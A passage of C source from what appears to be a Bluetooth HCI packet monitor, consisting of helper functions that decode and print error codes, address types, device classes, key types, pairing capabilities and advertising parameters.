const char *str = "Unknown";
const char *color_on, *color_off;
bool unknown = true;
int i;
for (i = 0; error2str_table[i].str; i++) {
if (error2str_table[i].error == error) {
str = error2str_table[i].str;
unknown = false;
break;
}
}
if (use_color()) {
if (error) {
if (unknown)
color_on = COLOR_UNKNOWN_ERROR;
else
color_on = COLOR_RED;
} else
color_on = COLOR_GREEN;
color_off = COLOR_OFF;
} else {
color_on = "";
color_off = "";
}
print_field("%s: %s%s%s (0x%2.2x)", label,
color_on, str, color_off, error);
}
static void print_status(uint8_t status)
{
print_error("Status", status);
}
static void print_reason(uint8_t reason)
{
print_error("Reason", reason);
}
void packet_print_error(const char *label, uint8_t error)
{
print_error(label, error);
}
static void print_enable(const char *label, uint8_t enable)
{
const char *str;
switch (enable) {
case 0x00:
str = "Disabled";
break;
case 0x01:
str = "Enabled";
break;
default:
str = "Reserved";
break;
}
print_field("%s: %s (0x%2.2x)", label, str, enable);
}
static void print_addr_type(const char *label, uint8_t addr_type)
{
const char *str;
switch (addr_type) {
case 0x00:
str = "Public";
break;
case 0x01:
str = "Random";
break;
default:
str = "Reserved";
break;
}
print_field("%s: %s (0x%2.2x)", label, str, addr_type);
}
static void print_own_addr_type(uint8_t addr_type)
{
const char *str;
switch (addr_type) {
case 0x00:
case 0x02:
str = "Public";
break;
case 0x01:
case 0x03:
str = "Random";
break;
default:
str = "Reserved";
break;
}
print_field("Own address type: %s (0x%2.2x)", str, addr_type);
}
static void print_peer_addr_type(const char *label, uint8_t addr_type)
{
const char *str;
switch (addr_type) {
case 0x00:
str = "Public";
break;
case 0x01:
str = "Random";
break;
case 0x02:
str = "Resolved Public";
break;
case 0x03:
str = "Resolved Random";
break;
default:
str = "Reserved";
break;
}
print_field("%s: %s (0x%2.2x)", label, str, addr_type);
}
static void print_addr_resolve(const char *label, const uint8_t *addr,
uint8_t addr_type, bool resolve)
{
const char *str;
char *company;
switch (addr_type) {
case 0x00:
case 0x02:
if (!hwdb_get_company(addr, &company))
company = NULL;
if (company) {
print_field("%s: %2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X"
" (%s)", label, addr[5], addr[4],
addr[3], addr[2],
addr[1], addr[0],
company);
free(company);
} else {
print_field("%s: %2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X"
" (OUI %2.2X-%2.2X-%2.2X)", label,
addr[5], addr[4], addr[3],
addr[2], addr[1], addr[0],
addr[5], addr[4], addr[3]);
}
break;
case 0x01:
case 0x03:
switch ((addr[5] & 0xc0) >> 6) {
case 0x00:
str = "Non-Resolvable";
break;
case 0x01:
str = "Resolvable";
break;
case 0x03:
str = "Static";
break;
default:
str = "Reserved";
break;
}
print_field("%s: %2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X (%s)",
label, addr[5], addr[4], addr[3],
addr[2], addr[1], addr[0], str);
if (resolve && (addr[5] & 0xc0) == 0x40) {
uint8_t ident[6], ident_type;
if (keys_resolve_identity(addr, ident, &ident_type)) {
print_addr_type(" Identity type", ident_type);
print_addr_resolve(" Identity", ident,
ident_type, false);
}
}
break;
default:
print_field("%s: %2.2X-%2.2X-%2.2X-%2.2X-%2.2X-%2.2X",
label, addr[5], addr[4], addr[3],
addr[2], addr[1], addr[0]);
break;
}
}
static void print_addr(const char *label, const uint8_t *addr,
uint8_t addr_type)
{
print_addr_resolve(label, addr, addr_type, true);
}
static void print_bdaddr(const uint8_t *bdaddr)
{
print_addr("Address", bdaddr, 0x00);
}
static void print_lt_addr(uint8_t lt_addr)
{
print_field("LT address: %d", lt_addr);
}
static void print_handle_native(uint16_t handle)
{
print_field("Handle: %d", handle);
}
static void print_handle(uint16_t handle)
{
print_handle_native(le16_to_cpu(handle));
}
static void print_phy_handle(uint8_t phy_handle)
{
print_field("Physical handle: %d", phy_handle);
}
static const struct bitfield_data pkt_type_table[] = {
{ 1, "2-DH1 may not be used" },
{ 2, "3-DH1 may not be used" },
{ 3, "DM1 may be used" },
{ 4, "DH1 may be used" },
{ 8, "2-DH3 may not be used" },
{ 9, "3-DH3 may not be used" },
{ 10, "DM3 may be used" },
{ 11, "DH3 may be used" },
{ 12, "2-DH5 may not be used" },
{ 13, "3-DH5 may not be used" },
{ 14, "DM5 may be used" },
{ 15, "DH5 may be used" },
{ }
};
static void print_pkt_type(uint16_t pkt_type)
{
uint16_t mask = le16_to_cpu(pkt_type);
print_field("Packet type: 0x%4.4x", mask);
mask = print_bitfield(2, mask, pkt_type_table);
if (mask)
print_text(COLOR_UNKNOWN_PKT_TYPE_BIT,
" Unknown packet types (0x%4.4x)", mask);
}
static const struct bitfield_data pkt_type_sco_table[] = {
{ 0, "HV1 may be used" },
{ 1, "HV2 may be used" },
{ 2, "HV3 may be used" },
{ 3, "EV3 may be used" },
{ 4, "EV4 may be used" },
{ 5, "EV5 may be used" },
{ 6, "2-EV3 may not be used" },
{ 7, "3-EV3 may not be used" },
{ 8, "2-EV5 may not be used" },
{ 9, "3-EV5 may not be used" },
{ }
};
static void print_pkt_type_sco(uint16_t pkt_type)
{
uint16_t mask = le16_to_cpu(pkt_type);
print_field("Packet type: 0x%4.4x", mask);
mask = print_bitfield(2, mask, pkt_type_sco_table);
if (mask)
print_text(COLOR_UNKNOWN_PKT_TYPE_BIT,
" Unknown packet types (0x%4.4x)", mask);
}
static void print_iac(const uint8_t *lap)
{
const char *str = "";
if (lap[2] == 0x9e && lap[1] == 0x8b) {
switch (lap[0]) {
case 0x33:
str = " (General Inquiry)";
break;
case 0x00:
str = " (Limited Inquiry)";
break;
}
}
print_field("Access code: 0x%2.2x%2.2x%2.2x%s",
lap[2], lap[1], lap[0], str);
}
static void print_auth_enable(uint8_t enable)
{
const char *str;
switch (enable) {
case 0x00:
str = "Authentication not required";
break;
case 0x01:
str = "Authentication required for all connections";
break;
default:
str = "Reserved";
break;
}
print_field("Enable: %s (0x%2.2x)", str, enable);
}
static void print_encrypt_mode(uint8_t mode)
{
const char *str;
switch (mode) {
case 0x00:
str = "Encryption not required";
break;
case 0x01:
str = "Encryption required for all connections";
break;
default:
str = "Reserved";
break;
}
print_field("Mode: %s (0x%2.2x)", str, mode);
}
static const struct bitfield_data svc_class_table[] = {
{ 0, "Positioning (Location identification)" },
{ 1, "Networking (LAN, Ad hoc)" },
{ 2, "Rendering (Printing, Speaker)" },
{ 3, "Capturing (Scanner, Microphone)" },
{ 4, "Object Transfer (v-Inbox, v-Folder)" },
{ 5, "Audio (Speaker, Microphone, Headset)" },
{ 6, "Telephony (Cordless telephony, Modem, Headset)" },
{ 7, "Information (WEB-server, WAP-server)" },
{ }
};
static const struct {
uint8_t val;
const char *str;
} major_class_computer_table[] = {
{ 0x00, "Uncategorized, code for device not assigned" },
{ 0x01, "Desktop workstation" },
{ 0x02, "Server-class computer" },
{ 0x03, "Laptop" },
{ 0x04, "Handheld PC/PDA (clam shell)" },
{ 0x05, "Palm sized PC/PDA" },
{ 0x06, "Wearable computer (Watch sized)" },
{ 0x07, "Tablet" },
{ }
};
static const char *major_class_computer(uint8_t minor)
{
int i;
for (i = 0; major_class_computer_table[i].str; i++) {
if (major_class_computer_table[i].val == minor)
return major_class_computer_table[i].str;
}
return NULL;
}
static const struct {
uint8_t val;
const char *str;
} major_class_phone_table[] = {
{ 0x00, "Uncategorized, code for device not assigned" },
{ 0x01, "Cellular" },
{ 0x02, "Cordless" },
{ 0x03, "Smart phone" },
{ 0x04, "Wired modem or voice gateway" },
{ 0x05, "Common ISDN Access" },
{ }
};
static const char *major_class_phone(uint8_t minor)
{
int i;
for (i = 0; major_class_phone_table[i].str; i++) {
if (major_class_phone_table[i].val == minor)
return major_class_phone_table[i].str;
}
return NULL;
}
static const struct {
uint8_t val;
const char *str;
} major_class_av_table[] = {
{ 0x00, "Uncategorized, code for device not assigned" },
{ 0x01, "Wearable Headset Device" },
{ 0x02, "Hands-free Device" },
{ 0x04, "Microphone" },
{ 0x05, "Loudspeaker" },
{ 0x06, "Headphones" },
{ 0x07, "Portable Audio" },
{ 0x08, "Car audio" },
{ 0x09, "Set-top box" },
{ 0x0a, "HiFi Audio Device" },
{ 0x0b, "VCR" },
{ 0x0c, "Video Camera" },
{ 0x0d, "Camcorder" },
{ 0x0e, "Video Monitor" },
{ 0x0f, "Video Display and Loudspeaker" },
{ 0x10, "Video Conferencing" },
{ 0x12, "Gaming/Toy" },
{ }
};
static const char *major_class_av(uint8_t minor)
{
int i;
for (i = 0; major_class_av_table[i].str; i++) {
if (major_class_av_table[i].val == minor)
return major_class_av_table[i].str;
}
return NULL;
}
static const struct {
uint8_t val;
const char *str;
} major_class_wearable_table[] = {
{ 0x01, "Wrist Watch" },
{ 0x02, "Pager" },
{ 0x03, "Jacket" },
{ 0x04, "Helmet" },
{ 0x05, "Glasses" },
{ }
};
static const char *major_class_wearable(uint8_t minor)
{
int i;
for (i = 0; major_class_wearable_table[i].str; i++) {
if (major_class_wearable_table[i].val == minor)
return major_class_wearable_table[i].str;
}
return NULL;
}
static const struct {
uint8_t val;
const char *str;
const char *(*func)(uint8_t minor);
} major_class_table[] = {
{ 0x00, "Miscellaneous" },
{ 0x01, "Computer (desktop, notebook, PDA, organizers)",
major_class_computer },
{ 0x02, "Phone (cellular, cordless, payphone, modem)",
major_class_phone },
{ 0x03, "LAN /Network Access point" },
{ 0x04, "Audio/Video (headset, speaker, stereo, video, vcr)",
major_class_av },
{ 0x05, "Peripheral (mouse, joystick, keyboards)" },
{ 0x06, "Imaging (printing, scanner, camera, display)" },
{ 0x07, "Wearable", major_class_wearable },
{ 0x08, "Toy" },
{ 0x09, "Health" },
{ 0x1f, "Uncategorized, specific device code not specified" },
{ }
};
static void print_dev_class(const uint8_t *dev_class)
{
uint8_t mask, major_cls, minor_cls;
const char *major_str = NULL;
const char *minor_str = NULL;
int i;
print_field("Class: 0x%2.2x%2.2x%2.2x",
dev_class[2], dev_class[1], dev_class[0]);
if ((dev_class[0] & 0x03) != 0x00) {
print_field(" Format type: 0x%2.2x", dev_class[0] & 0x03);
print_text(COLOR_ERROR, " invalid format type");
return;
}
major_cls = dev_class[1] & 0x1f;
minor_cls = (dev_class[0] & 0xfc) >> 2;
for (i = 0; major_class_table[i].str; i++) {
if (major_class_table[i].val == major_cls) {
major_str = major_class_table[i].str;
if (!major_class_table[i].func)
break;
minor_str = major_class_table[i].func(minor_cls);
break;
}
}
if (major_str) {
print_field(" Major class: %s", major_str);
if (minor_str)
print_field(" Minor class: %s", minor_str);
else
print_field(" Minor class: 0x%2.2x", minor_cls);
} else {
print_field(" Major class: 0x%2.2x", major_cls);
print_field(" Minor class: 0x%2.2x", minor_cls);
}
if (dev_class[1] & 0x20)
print_field(" Limited Discoverable Mode");
if ((dev_class[1] & 0xc0) != 0x00) {
print_text(COLOR_ERROR, " invalid service class");
return;
}
mask = print_bitfield(2, dev_class[2], svc_class_table);
if (mask)
print_text(COLOR_UNKNOWN_SERVICE_CLASS,
" Unknown service class (0x%2.2x)", mask);
}
static void print_appearance(uint16_t appearance)
{
print_field("Appearance: %s (0x%4.4x)", bt_appear_to_str(appearance),
appearance);
}
static void print_num_broadcast_retrans(uint8_t num_retrans)
{
print_field("Number of broadcast retransmissions: %u", num_retrans);
}
static void print_hold_mode_activity(uint8_t activity)
{
print_field("Activity: 0x%2.2x", activity);
if (activity == 0x00) {
print_field(" Maintain current Power State");
return;
}
if (activity & 0x01)
print_field(" Suspend Page Scan");
if (activity & 0x02)
print_field(" Suspend Inquiry Scan");
if (activity & 0x04)
print_field(" Suspend Periodic Inquiries");
}
static void print_power_type(uint8_t type)
{
const char *str;
switch (type) {
case 0x00:
str = "Current Transmit Power Level";
break;
case 0x01:
str = "Maximum Transmit Power Level";
break;
default:
str = "Reserved";
break;
}
print_field("Type: %s (0x%2.2x)", str, type);
}
static void print_power_level(int8_t level, const char *type)
{
print_field("TX power%s%s%s: %d dbm (0x%2.2x)",
type ? " (" : "", type ? type : "", type ? ")" : "",
level, (uint8_t) level);
}
static void print_host_flow_control(uint8_t enable)
{
const char *str;
switch (enable) {
case 0x00:
str = "Off";
break;
case 0x01:
str = "ACL Data Packets";
break;
case 0x02:
str = "Synchronous Data Packets";
break;
case 0x03:
str = "ACL and Synchronous Data Packets";
break;
default:
str = "Reserved";
break;
}
print_field("Flow control: %s (0x%2.2x)", str, enable);
}
static void print_voice_setting(uint16_t setting)
{
uint8_t input_coding = (le16_to_cpu(setting) & 0x0300) >> 8;
uint8_t input_data_format = (le16_to_cpu(setting) & 0xc0) >> 6;
uint8_t air_coding_format = le16_to_cpu(setting) & 0x0003;
const char *str;
print_field("Setting: 0x%4.4x", le16_to_cpu(setting));
switch (input_coding) {
case 0x00:
str = "Linear";
break;
case 0x01:
str = "u-law";
break;
case 0x02:
str = "A-law";
break;
default:
str = "Reserved";
break;
}
print_field(" Input Coding: %s", str);
switch (input_data_format) {
case 0x00:
str = "1's complement";
break;
case 0x01:
str = "2's complement";
break;
case 0x02:
str = "Sign-Magnitude";
break;
case 0x03:
str = "Unsigned";
break;
default:
str = "Reserved";
break;
}
print_field(" Input Data Format: %s", str);
if (input_coding == 0x00) {
print_field(" Input Sample Size: %s",
le16_to_cpu(setting) & 0x20 ? "16-bit" : "8-bit");
print_field(" # of bits padding at MSB: %d",
(le16_to_cpu(setting) & 0x1c) >> 2);
}
switch (air_coding_format) {
case 0x00:
str = "CVSD";
break;
case 0x01:
str = "u-law";
break;
case 0x02:
str = "A-law";
break;
case 0x03:
str = "Transparent Data";
break;
default:
str = "Reserved";
break;
}
print_field(" Air Coding Format: %s", str);
}
static void print_retransmission_effort(uint8_t effort)
{
const char *str;
switch (effort) {
case 0x00:
str = "No retransmissions";
break;
case 0x01:
str = "Optimize for power consumption";
break;
case 0x02:
str = "Optimize for link quality";
break;
case 0xff:
str = "Don't care";
break;
default:
str = "Reserved";
break;
}
print_field("Retransmission effort: %s (0x%2.2x)", str, effort);
}
static void print_scan_enable(uint8_t scan_enable)
{
const char *str;
switch (scan_enable) {
case 0x00:
str = "No Scans";
break;
case 0x01:
str = "Inquiry Scan";
break;
case 0x02:
str = "Page Scan";
break;
case 0x03:
str = "Inquiry Scan + Page Scan";
break;
default:
str = "Reserved";
break;
}
print_field("Scan enable: %s (0x%2.2x)", str, scan_enable);
}
static void print_link_policy(uint16_t link_policy)
{
uint16_t policy = le16_to_cpu(link_policy);
print_field("Link policy: 0x%4.4x", policy);
if (policy == 0x0000) {
print_field(" Disable All Modes");
return;
}
if (policy & 0x0001)
print_field(" Enable Role Switch");
if (policy & 0x0002)
print_field(" Enable Hold Mode");
if (policy & 0x0004)
print_field(" Enable Sniff Mode");
if (policy & 0x0008)
print_field(" Enable Park State");
}
static void print_air_mode(uint8_t mode)
{
const char *str;
switch (mode) {
case 0x00:
str = "u-law log";
break;
case 0x01:
str = "A-law log";
break;
case 0x02:
str = "CVSD";
break;
case 0x03:
str = "Transparent";
break;
default:
str = "Reserved";
break;
}
print_field("Air mode: %s (0x%2.2x)", str, mode);
}
static void print_codec_id(const char *label, uint8_t codec)
{
const char *str;
switch (codec) {
case 0x00:
str = "u-law log";
break;
case 0x01:
str = "A-law log";
break;
case 0x02:
str = "CVSD";
break;
case 0x03:
str = "Transparent";
break;
case 0x04:
str = "Linear PCM";
break;
case 0x05:
str = "mSBC";
break;
case 0xff:
str = "Vendor specific";
break;
default:
str = "Reserved";
break;
}
print_field("%s: %s (0x%2.2x)", label, str, codec);
}
static const struct bitfield_data codec_transport_table[] = {
{ 0, "Codec supported over BR/EDR ACL" },
{ 1, "Codec supported over BR/EDR SCO and eSCO"},
{ 2, "Codec supported over LE CIS" },
{ 3, "Codec supported over LE BIS" },
{ }
};
static void print_codec(const char *label, const struct bt_hci_codec *codec)
{
uint8_t mask;
print_codec_id(label, codec->id);
print_field(" Logical Transport Type: 0x%02x", codec->transport);
mask = print_bitfield(4, codec->transport, codec_transport_table);
if (mask)
print_text(COLOR_UNKNOWN_SERVICE_CLASS,
" Unknown transport (0x%2.2x)", mask);
}
static void print_inquiry_mode(uint8_t mode)
{
const char *str;
switch (mode) {
case 0x00:
str = "Standard Inquiry Result";
break;
case 0x01:
str = "Inquiry Result with RSSI";
break;
case 0x02:
str = "Inquiry Result with RSSI or Extended Inquiry Result";
break;
default:
str = "Reserved";
break;
}
print_field("Mode: %s (0x%2.2x)", str, mode);
}
static void print_inquiry_scan_type(uint8_t type)
{
const char *str;
switch (type) {
case 0x00:
str = "Standard Scan";
break;
case 0x01:
str = "Interlaced Scan";
break;
default:
str = "Reserved";
break;
}
print_field("Type: %s (0x%2.2x)", str, type);
}
static void print_pscan_type(uint8_t type)
{
const char *str;
switch (type) {
case 0x00:
str = "Standard Scan";
break;
case 0x01:
str = "Interlaced Scan";
break;
default:
str = "Reserved";
break;
}
print_field("Type: %s (0x%2.2x)", str, type);
}
static void print_loopback_mode(uint8_t mode)
{
const char *str;
switch (mode) {
case 0x00:
str = "No Loopback";
break;
case 0x01:
str = "Local Loopback";
break;
case 0x02:
str = "Remote Loopback";
break;
default:
str = "Reserved";
break;
}
print_field("Mode: %s (0x%2.2x)", str, mode);
}
static void print_auth_payload_timeout(uint16_t timeout)
{
print_field("Timeout: %d msec (0x%4.4x)",
le16_to_cpu(timeout) * 10, le16_to_cpu(timeout));
}
static void print_pscan_rep_mode(uint8_t pscan_rep_mode)
{
const char *str;
switch (pscan_rep_mode) {
case 0x00:
str = "R0";
break;
case 0x01:
str = "R1";
break;
case 0x02:
str = "R2";
break;
default:
str = "Reserved";
break;
}
print_field("Page scan repetition mode: %s (0x%2.2x)",
str, pscan_rep_mode);
}
static void print_pscan_period_mode(uint8_t pscan_period_mode)
{
const char *str;
switch (pscan_period_mode) {
case 0x00:
str = "P0";
break;
case 0x01:
str = "P1";
break;
case 0x02:
str = "P2";
break;
default:
str = "Reserved";
break;
}
print_field("Page period mode: %s (0x%2.2x)", str, pscan_period_mode);
}
static void print_pscan_mode(uint8_t pscan_mode)
{
const char *str;
switch (pscan_mode) {
case 0x00:
str = "Mandatory";
break;
case 0x01:
str = "Optional I";
break;
case 0x02:
str = "Optional II";
break;
case 0x03:
str = "Optional III";
break;
default:
str = "Reserved";
break;
}
print_field("Page scan mode: %s (0x%2.2x)", str, pscan_mode);
}
static void print_clock_offset(uint16_t clock_offset)
{
print_field("Clock offset: 0x%4.4x", le16_to_cpu(clock_offset));
}
static void print_clock(uint32_t clock)
{
print_field("Clock: 0x%8.8x", le32_to_cpu(clock));
}
static void print_clock_type(uint8_t type)
{
const char *str;
switch (type) {
case 0x00:
str = "Local clock";
break;
case 0x01:
str = "Piconet clock";
break;
default:
str = "Reserved";
break;
}
print_field("Type: %s (0x%2.2x)", str, type);
}
static void print_clock_accuracy(uint16_t accuracy)
{
if (le16_to_cpu(accuracy) == 0xffff)
print_field("Accuracy: Unknown (0x%4.4x)",
le16_to_cpu(accuracy));
else
print_field("Accuracy: %.4f msec (0x%4.4x)",
le16_to_cpu(accuracy) * 0.3125,
le16_to_cpu(accuracy));
}
static void print_lpo_allowed(uint8_t lpo_allowed)
{
print_field("LPO allowed: 0x%2.2x", lpo_allowed);
}
static void print_broadcast_fragment(uint8_t fragment)
{
const char *str;
switch (fragment) {
case 0x00:
str = "Continuation fragment";
break;
case 0x01:
str = "Starting fragment";
break;
case 0x02:
str = "Ending fragment";
break;
case 0x03:
str = "No fragmentation";
break;
default:
str = "Reserved";
break;
}
print_field("Fragment: %s (0x%2.2x)", str, fragment);
}
static void print_link_type(uint8_t link_type)
{
const char *str;
switch (link_type) {
case 0x00:
str = "SCO";
break;
case 0x01:
str = "ACL";
break;
case 0x02:
str = "eSCO";
break;
default:
str = "Reserved";
break;
}
print_field("Link type: %s (0x%2.2x)", str, link_type);
}
static void print_encr_mode_change(uint8_t encr_mode, uint16_t handle)
{
const char *str;
uint8_t conn_type;
conn_type = get_type(le16_to_cpu(handle));
switch (encr_mode) {
case 0x00:
str = "Disabled";
break;
case 0x01:
switch (conn_type) {
case 0x00:
str = "Enabled with E0";
break;
case 0x01:
str = "Enabled with AES-CCM";
break;
default:
str = "Enabled";
break;
}
break;
case 0x02:
str = "Enabled with AES-CCM";
break;
default:
str = "Reserved";
break;
}
print_field("Encryption: %s (0x%2.2x)", str, encr_mode);
}
static void print_pin_type(uint8_t pin_type)
{
const char *str;
switch (pin_type) {
case 0x00:
str = "Variable";
break;
case 0x01:
str = "Fixed";
break;
default:
str = "Reserved";
break;
}
print_field("PIN type: %s (0x%2.2x)", str, pin_type);
}
static void print_key_flag(uint8_t key_flag)
{
const char *str;
switch (key_flag) {
case 0x00:
str = "Semi-permanent";
break;
case 0x01:
str = "Temporary";
break;
default:
str = "Reserved";
break;
}
print_field("Key flag: %s (0x%2.2x)", str, key_flag);
}
static void print_key_len(uint8_t key_len)
{
const char *str;
switch (key_len) {
case 32:
str = "802.11 PAL";
break;
default:
str = "Reserved";
break;
}
print_field("Key length: %s (%d)", str, key_len);
}
static void print_key_type(uint8_t key_type)
{
const char *str;
switch (key_type) {
case 0x00:
str = "Combination key";
break;
case 0x01:
str = "Local Unit key";
break;
case 0x02:
str = "Remote Unit key";
break;
case 0x03:
str = "Debug Combination key";
break;
case 0x04:
str = "Unauthenticated Combination key from P-192";
break;
case 0x05:
str = "Authenticated Combination key from P-192";
break;
case 0x06:
str = "Changed Combination key";
break;
case 0x07:
str = "Unauthenticated Combination key from P-256";
break;
case 0x08:
str = "Authenticated Combination key from P-256";
break;
default:
str = "Reserved";
break;
}
print_field("Key type: %s (0x%2.2x)", str, key_type);
}
static void print_key_size(uint8_t key_size)
{
print_field("Key size: %d", key_size);
}
static void print_hex_field(const char *label, const uint8_t *data,
uint8_t len)
{
char str[len * 2 + 1];
uint8_t i;
str[0] = '\0';
for (i = 0; i < len; i++)
sprintf(str + (i * 2), "%2.2x", data[i]);
print_field("%s: %s", label, str);
}
static void print_key(const char *label, const uint8_t *link_key)
{
print_hex_field(label, link_key, 16);
}
static void print_link_key(const uint8_t *link_key)
{
print_key("Link key", link_key);
}
static void print_pin_code(const uint8_t *pin_code, uint8_t pin_len)
{
char str[pin_len + 1];
uint8_t i;
for (i = 0; i < pin_len; i++)
sprintf(str + i, "%c", (const char) pin_code[i]);
print_field("PIN code: %s", str);
}
static void print_hash_p192(const uint8_t *hash)
{
print_key("Hash C from P-192", hash);
}
static void print_hash_p256(const uint8_t *hash)
{
print_key("Hash C from P-256", hash);
}
static void print_randomizer_p192(const uint8_t *randomizer)
{
print_key("Randomizer R with P-192", randomizer);
}
static void print_randomizer_p256(const uint8_t *randomizer)
{
print_key("Randomizer R with P-256", randomizer);
}
static void print_pk256(const char *label, const uint8_t *key)
{
print_field("%s:", label);
print_hex_field(" X", &key[0], 32);
print_hex_field(" Y", &key[32], 32);
}
static void print_dhkey(const uint8_t *dhkey)
{
print_hex_field("Diffie-Hellman key", dhkey, 32);
}
static void print_passkey(uint32_t passkey)
{
print_field("Passkey: %06d", le32_to_cpu(passkey));
}
static void print_io_capability(uint8_t capability)
{
const char *str;
switch (capability) {
case 0x00:
str = "DisplayOnly";
break;
case 0x01:
str = "DisplayYesNo";
break;
case 0x02:
str = "KeyboardOnly";
break;
case 0x03:
str = "NoInputNoOutput";
break;
default:
str = "Reserved";
break;
}
print_field("IO capability: %s (0x%2.2x)", str, capability);
}
static void print_oob_data(uint8_t oob_data)
{
const char *str;
switch (oob_data) {
case 0x00:
str = "Authentication data not present";
break;
case 0x01:
str = "P-192 authentication data present";
break;
case 0x02:
str = "P-256 authentication data present";
break;
case 0x03:
str = "P-192 and P-256 authentication data present";
break;
default:
str = "Reserved";
break;
}
print_field("OOB data: %s (0x%2.2x)", str, oob_data);
}
static void print_oob_data_response(uint8_t oob_data)
{
const char *str;
switch (oob_data) {
case 0x00:
str = "Authentication data not present";
break;
case 0x01:
str = "Authentication data present";
break;
default:
str = "Reserved";
break;
}
print_field("OOB data: %s (0x%2.2x)", str, oob_data);
}
static void print_authentication(uint8_t authentication)
{
const char *str;
switch (authentication) {
case 0x00:
str = "No Bonding - MITM not required";
break;
case 0x01:
str = "No Bonding - MITM required";
break;
case 0x02:
str = "Dedicated Bonding - MITM not required";
break;
case 0x03:
str = "Dedicated Bonding - MITM required";
break;
case 0x04:
str = "General Bonding - MITM not required";
break;
case 0x05:
str = "General Bonding - MITM required";
break;
default:
str = "Reserved";
break;
}
print_field("Authentication: %s (0x%2.2x)", str, authentication);
}
void packet_print_io_capability(uint8_t capability)
{
print_io_capability(capability);
}
void packet_print_io_authentication(uint8_t authentication)
{
print_authentication(authentication);
}
static void print_location_domain_aware(uint8_t aware)
{
const char *str;
switch (aware) {
case 0x00:
str = "Regulatory domain unknown";
break;
case 0x01:
str = "Regulatory domain known";
break;
default:
str = "Reserved";
break;
}
print_field("Domain aware: %s (0x%2.2x)", str, aware);
}
static void print_location_domain(const uint8_t *domain)
{
print_field("Domain: %c%c (0x%2.2x%2.2x)",
(char) domain[0], (char) domain[1], domain[0], domain[1]);
}
static void print_location_domain_options(uint8_t options)
{
print_field("Domain options: %c (0x%2.2x)", (char) options, options);
}
static void print_location_options(uint8_t options)
{
print_field("Options: 0x%2.2x", options);
}
static void print_flow_control_mode(uint8_t mode)
{
const char *str;
switch (mode) {
case 0x00:
str = "Packet based";
break;
case 0x01:
str = "Data block based";
break;
default:
str = "Reserved";
break;
}
print_field("Flow control mode: %s (0x%2.2x)", str, mode);
}
static void print_flow_direction(uint8_t direction)
{
const char *str;
switch (direction) {
case 0x00:
str = "Outgoing";
break;
case 0x01:
str = "Incoming";
break;
default:
str = "Reserved";
break;
}
print_field("Flow direction: %s (0x%2.2x)", str, direction);
}
static void print_service_type(uint8_t service_type)
{
const char *str;
switch (service_type) {
case 0x00:
str = "No Traffic";
break;
case 0x01:
str = "Best Effort";
break;
case 0x02:
str = "Guaranteed";
break;
default:
str = "Reserved";
break;
}
print_field("Service type: %s (0x%2.2x)", str, service_type);
}
static void print_flow_spec(const char *label, const uint8_t *data)
{
const char *str;
switch (data[1]) {
case 0x00:
str = "No traffic";
break;
case 0x01:
str = "Best effort";
break;
case 0x02:
str = "Guaranteed";
break;
default:
str = "Reserved";
break;
}
print_field("%s flow spec: 0x%2.2x", label, data[0]);
print_field(" Service type: %s (0x%2.2x)", str, data[1]);
print_field(" Maximum SDU size: 0x%4.4x", get_le16(data + 2));
print_field(" SDU inter-arrival time: 0x%8.8x", get_le32(data + 4));
print_field(" Access latency: 0x%8.8x", get_le32(data + 8));
print_field(" Flush timeout: 0x%8.8x", get_le32(data + 12));
}
static void print_amp_status(uint8_t amp_status)
{
const char *str;
switch (amp_status) {
case 0x00:
str = "Present";
break;
case 0x01:
str = "Bluetooth only";
break;
case 0x02:
str = "No capacity";
break;
case 0x03:
str = "Low capacity";
break;
case 0x04:
str = "Medium capacity";
break;
case 0x05:
str = "High capacity";
break;
case 0x06:
str = "Full capacity";
break;
default:
str = "Reserved";
break;
}
print_field("AMP status: %s (0x%2.2x)", str, amp_status);
}
static void print_num_resp(uint8_t num_resp)
{
print_field("Num responses: %d", num_resp);
}
static void print_num_reports(uint8_t num_reports)
{
print_field("Num reports: %d", num_reports);
}
static void print_adv_event_type(const char *label, uint8_t type)
{
const char *str;
switch (type) {
case 0x00:
str = "Connectable undirected - ADV_IND";
break;
case 0x01:
str = "Connectable directed - ADV_DIRECT_IND";
break;
case 0x02:
str = "Scannable undirected - ADV_SCAN_IND";
break;
case 0x03:
str = "Non connectable undirected - ADV_NONCONN_IND";
break;
case 0x04:
str = "Scan response - SCAN_RSP";
break;
default:
str = "Reserved";
break;
}
print_field("%s: %s (0x%2.2x)", label, str, type);
}
static void print_adv_channel_map(const char *label, uint8_t value)
{
const char *str;
switch (value) {
case 0x01:
str = "37";
break;
case 0x02:
str = "38";
break;
case 0x03:
str = "37, 38";
break;
case 0x04:
str = "39";
break;
case 0x05:
str = "37, 39";
break;
case 0x06:
str = "38, 39";
break;
case 0x07:
str = "37, 38, 39";
break;
default:
str = "Reserved";
break;
}
print_field("%s: %s (0x%2.2x)", label, str, value);
}
static void print_adv_filter_policy(const char *label, uint8_t value)
{
const char *str;
switch (value) {
case 0x00:
str = "Allow Scan Request from Any, "
"Allow Connect Request from Any";
break;
case 0x01:
str = "Allow Scan Request from White List Only, "
"Allow Connect Request from Any";
break;
case 0x02:
str = "Allow Scan Request from Any, "
"Allow Connect Request from White List Only";
break;
case 0x03:
str = "Allow Scan Request from White List Only, "
"Allow Connect Request from White List Only";
break;
default:
str = "Reserved";
break;
}
print_field("%s: %s (0x%2.2x)", label, str, value);
}
static void print_rssi(int8_t rssi)
{
packet_print_rssi("RSSI", rssi);
}
static void print_slot_625(const char *label, uint16_t value)
{
print_field("%s: %.3f msec (0x%4.4x)", label,
le16_to_cpu(value) * 0.625, le16_to_cpu(value));
}
static void print_slot_125(const char *label, uint16_t value)
{
print_field("%s: %.2f msec (0x%4.4x)", label,
le16_to_cpu(value) * 1.25, le16_to_cpu(value));
}
static void print_timeout(uint16_t timeout)
{
print_slot_625("Timeout", timeout);
}
static void print_interval(uint16_t interval)
{
print_slot_625("Interval", interval);
}
static void print_window(uint16_t window)
{
print_slot_625("Window", window);
}
static void print_conn_latency(const char *label, uint16_t value)
{
print_field("%s: %u (0x%4.4x)", label, le16_to_cpu(value),
le16_to_cpu(value));
}
static void print_role(uint8_t role)
{
const char *str;
switch (role) {
case 0x00:
str = "Master";
break;
case 0x01:
str = "Slave";
break;
default:
str = "Reserved";
break;
}
print_field("Role: %s (0x%2.2x)", str, role);
}
static void print_mode(uint8_t mode)
{
const char *str;
switch (mode) {
case 0x00:
str = "Active";
break;
case 0x01:
str = "Hold";
break;
case 0x02:
str = "Sniff";
break;
case 0x03:
str = "Park";
break;
